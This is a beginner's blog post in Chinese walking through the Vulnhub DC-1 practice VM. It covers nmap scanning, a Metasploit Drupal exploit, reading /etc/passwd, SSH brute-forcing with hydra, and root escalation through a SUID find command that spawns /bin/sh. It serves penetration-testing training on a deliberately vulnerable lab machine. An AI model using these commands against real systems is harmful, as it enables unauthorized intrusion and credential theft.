Vulnhub靶机渗透测试实战(一):DC-1(入门)

关于Vulnhub

Vulnhub是一个特别好的渗透测试实战网站,提供了许多带有漏洞的渗透测试虚拟机下载。
新手入门DC-1:
下载地址:
https://www.vulnhub.com/entry/dc-1-1,292/

主机渗透系统:
macOS10.13

安装好虚拟机后挂载Virtualbox运行

第一次进行渗透实战演练,打开虚拟机后发现需要登录密码,一脸懵逼。翻查网页上的介绍才知道,就是不提供密码需要自己去渗透提权啊。小白感到非常的羞愧。

局域网内主机发现

~ arp-scan -l

在这里插入图片描述
Cadmus Computer Systems 表示Virtualbox虚拟机

扫描主机

~ nmap -sV -p- 172.21.204.36

-sV 用来扫描目标主机和端口上运行的软件的版本
-p 80 指定80端口
-p- 扫描0-65535全部端口
Vulnhub靶机渗透测试实战(一):DC-1(入门)_第1张图片
发现开放80端口,则可以进行网页访问

访问主页 收集信息

Vulnhub靶机渗透测试实战(一):DC-1(入门)_第2张图片
*推荐使用插件Wappalyzer进行网站指纹识别
发现网站使用Drupal cms管理系统

使用Metasploit进行漏洞查找攻击

Metasploit 是很强大的漏洞查找工具

查找该cms相关漏洞

msf5 > search drupal

Vulnhub靶机渗透测试实战(一):DC-1(入门)_第3张图片
使用最新的漏洞尝试攻击
Vulnhub靶机渗透测试实战(一):DC-1(入门)_第4张图片
*选择使用某个脚本之后要使用show options命令查看脚本所需设定参数,一定要设定好required项是yes的参数,之后使用exploit命令进行攻击

Get shell!

看到提示Meterpreter session 1opened并出现

meterpreter > 

说明已经攻击成功

执行命令shell命令获得shell
在这里插入图片描述
ls 查看当前目录下文件
Vulnhub靶机渗透测试实战(一):DC-1(入门)_第5张图片
发现有flag1.txt文件
查看后并没有特别含义

查看用户信息

cat /etc/passwd

/etc/passwd 储存了用户重要信息,一般可读但不可写
推荐以下文章进行详细了解
https://www.cyberciti.biz/faq/understanding-etcpasswd-file-format/
Vulnhub靶机渗透测试实战(一):DC-1(入门)_第6张图片
尝试查看/etc/shadow 失败
*如果得知/etc/shadow 和 /etc/passwd 可以使用John the Ripper破解密码

/etc/shadow 敏感文件,储存加密后的用户密码(一般是哈希值)
推荐以下文章进行详细了解
https://www.cyberciti.biz/faq/understanding-etcshadow-file/

发现用户flag4可能有点问题,尝试爆破破解密码
这里使用hydra + John the Ripper的密码本进行爆破

~ hydra -l flag4 -P /Users/john-1.8.0/run/password.lst ssh://172.21.204.36

-l 指定用户名
-P 加载密码字典(这里使用了John the Ripper安装后提供的密码本,一般在john-1.8.0/run/password.lst)
ssh://ip 指定使用协议和ip地址
Vulnhub靶机渗透测试实战(一):DC-1(入门)_第7张图片
爆破后获得密码 orange

登录服务器

Vulnhub靶机渗透测试实战(一):DC-1(入门)_第8张图片
*ankit 文件是后续攻击中我自己创建的,本来只有flag4.txt文件
发现flag4.txt文件并不是真正储存flag的文件…sad…

回去看Vulnhub中DC-1的介绍

There are five flags in total, but the ultimate goal is to find and read the flag in root’s home directory. You don’t even need to be root to do this, however, you will require root privileges.

flag在root目录下,并且需要有root权限

**其实如果无法爆破出用户密码可以直接跳过登录服务器步骤,通过metasploit获得的shell中进行后续操作。

提权

要想有root权限:
1 以root账户登录(尝试使用爆破未果)
2 普通用户登录,查找具有suid权限位的命令去get shell
suid权限位:说明可以以root权限执行命令

flag4@DC-1:~$ find / -type f -perm -u=s 2>/dev/null

Vulnhub靶机渗透测试实战(一):DC-1(入门)_第9张图片
发现find命令被设置为suid权限位

flag4@DC-1:~$ touch getflag
flag4@DC-1:~$ find / -type f -name getflag -exec "whoami" \;
root
flag4@DC-1:~$ find / -type f -name getflag -exec "/bin/sh" \;
# cd /root
# ls
thefinalflag.txt
# cat thefinalflag.txt

touch getflag 创建文件名为getflag
find … exec “…” 查找文件后并执行命令
Vulnhub靶机渗透测试实战(一):DC-1(入门)_第10张图片
终于得到最终的flag~~!
但是过程中只拿到了两个flag文件,本来应该要找到5个…

是第一次发博客!希望自己之后可以坚持!共勉!
越努力越幸运鸭~

参考文章

https://cybrary.in/dc-1-1-vulnhub-walkthrough/

你可能感兴趣的:(Vulnhub靶机渗透测试实战(一):DC-1(入门))